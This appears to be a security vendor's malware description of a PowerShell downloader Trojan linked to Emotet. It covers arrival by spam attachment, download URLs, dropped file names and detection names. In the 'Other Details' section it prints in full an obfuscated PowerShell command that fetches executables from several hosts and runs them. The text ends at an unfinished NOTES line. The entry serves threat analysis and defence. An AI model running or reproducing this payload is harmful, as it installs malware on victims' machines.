W2KM_POWLOAD.AUSJVD

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Download Routine

This Trojan accesses the following websites to download files:

• http://www.{BLOCKED}achievements.com/nOXubLyf/
• http://www.{BLOCKED}li.top/DARDJKRJK/
• http://www.xxxshop.{BLOCKED}alastore.com/uFdANoqw/
• http://www.{BLOCKED}n-shiatsu.fr/OUCF/
• http://www.{BLOCKED}y.co.uk/RFot/

It saves the files it downloads using the following names:

• %System Root%\Users\Public\{Random Numbers}.exe
  where {Random Numbers} will be generated randomly from 1 to 343245

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Trend Micro detects the dowloaded file as:

• TSPY_EMOTET.SMONT2

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

• It uses Powershell commands to download and execute a malicious file:
  • powershell " ((' (nbt nbt+nbt(0a8c40a8+0a'+'8Ffr0a8+0a8an0a8+0a8cnbt+nbt = new0a8+0a8-o0a8+0a'+'8nbt+nbtbj0a8+0a8ec0a8+0a8t nbt+nbt0a8+nbt+nbt0a8Syst0a8+0a8em.0a8+0a8N0a8+0a8et.We0a8+0a8bC0a8+0a8linbt+nbt0a'+'8+'+'0a8en0a8+0a8t;nbt+nbtc4F0'+'a8+0a8ns0a8+nbt+nbt0a8a'+'dasd = ne'+'w'+'-object0a8+0a8 0a8+0a8rando0a8+0a8m;c0a8+0a84Fbcd 0a8+0a8=0a8+0a8 ZI0a8+0a8yh0a8+0a8ttnbt'+'+nbt0a8+0a8p0a8+0a8://w0nbt+nbta8+0a8ww.0a8+0a'+'8sel0a8+0anbt+nbt8phy.co.0a8+0a8u0a8+0an'+'bt'+'+nbt8k/RFo'+'t/,ht0a8+0a8tp://w0a8+'+'0a8ww0a8+0a8.zenz0a8+0a8i0'+'a8+0a8on0a8nbt+nbt+0a8-sh0a8+0a8iatsu.fr/0a8+0a8O0a8+0'+'a8UCF/0anbt+nbt8+0a8nbt+nbt,http://0a'+'8+0a8ww0a8+0a8w.0a8+0a8sh'+'op0a8+0a8.cak0a8+nbt+nbt0a8raw0a8+0a8al0a8+0'+'a8'+'a0a8+0a8sto0a8+0a8re.cnbt+nbt0a8+0a8om/0a8+0a8uFdAN0a8+0a8oqw/,htt0a8+0a8p:0a8+0a8//ww0a8+0a8w.0a8+nbt+nbt0a8q0a8+0a8ixia0a8+0'+'a'+'8o0a8+0a8l0a8+0a8i.nbt+nbttop/DA0a8+0a8RDJKRJK/,htt0a8'+'+0anbt+nbt8p://0a8+0a8w0a8nbt+nbt+0a8w0a8+0a8w.sim0a8'+'+0a8ple0a8+0a8a0a8+0a8c0a8+0a8h0anbt+nbt8+0nbt+nbta8ie0a8nbt+nbt+0a8vements.c0a8+0a8o0a8+0a8m/n'+'OXubLyf/ZI0a'+'8+0a8y.S0a8+0nbt+nbta8plit(0a8+0a8ZIy,0a8+0a8ZIy);nbt+nbtc0a8+0a84Fkarapas0a8+0a8 = 0a8+0a8c4Fnsada0a8+0a8s0a8+0a8d.next(1,'+' nbt+'+'nbt0'+'a8'+'+0a8343240a8+0a850a8+0a8);c0a8+0anbt+nbt84Fhu0a8+0'+'a8as =nbt+nbt0a8+0a8 0a'+'8+0'+'a8c0a8+0a840a8+0a8Fenv:public + ZI0nbt+nbta8+0a8y30a8+0a8xaZIy + 0a8+0a8'+'c4F0a8+0a8k0a8+nbt+nbt0a'+'8a0a8+0a8'+'rap0a8+0a8asn'+'bt+nbt 0a8nbt+n'+'bt+0a8+ nbt+nbtZ0a8+0a8Iy.nbt+nbtexeZ'+'Iy;f'+'o0a8+0a8rea0a8+0a8ch0a8+0anbt+nbt8(c4Fabc in c40a8+'+'0a8'+'Fbc'+'d0a8+0a8){0a8+0a8try{c0a8+0'+'a84F0a8+0a8fr0a8+0anbt+nbt8a0a8+0a8nc.0a8+0'+'a8D0a8'+'+0a8ownlnbt+'+'nbt0a8+'+'0anbt+n'+'bt8oadFile(c4F0a8+0a8abc0a8+0a8nbt+nbt.ToSt0a8+0a8r'+'ing(), c40a8+0a8Fhuanbt+nbts);0anbt+nbt8+0a8Invoke0nbt+nbta8+0a8-0a8+0a8Item0a8+0a8(c4Fhuas0a8+0nbt+nbta'+'8)0a8+0a8;b0a8+0a8rea0a8+0a8k'+';}catch{0a8+0a8wri0a8+0a'+'8te-h0a8+0a8os0anbt+nbt8+0nb'+'t+nbta8t c4F0a8+0a8_.Exce0a8+0a8pt0a8+0a8ion.Messa0a8+0a8ge0a8+0a8;}}0a8).rEplaCe(0a83xa0a8,0a8X340anbt+nbt8).rEplaCe(([CHAR]99+[CHAR]52+[CH'+'nbt+nbtAR]70),[stRinnbt+nbtG][CHAR]36).rEplaCe(0a8ZIy0a8,[stRinG][CHAR]39) EwW &((vAriAbLe 0a8*mdr*'+'0a8).NAMe[3,11,2]-join0a80n'+'bt+nbta8)nbt).R'+'EplAcE(nbtEwWnbt,nbthCtnbt).REplA'+'cE(nbtX34nbt,nbtLDRnbt).REplAcE(([Char]48+[C'+'har]97+[Char]56),[sTRING][Char]3'+'9) hCt& ( h'+'8xsHelLid[1]+h8xshEL'+'LI'+'D['+'13]+nbtXn'+'bt)') -cREPLace ([cHar]104+[cHar]56+[cHar]120),[cHar]36 -cREPLace'LDR',[cHar]92 -rEPLAce 'nbt',[cHar]39-rEPLAce ([cHar]104+[cHar]67+[cHar]116),[cHar]124) | . ( $shElLId[1]+$shELlid[13]+'X');

NOTES:
The document contains the following message details luring users to enable Macro Content: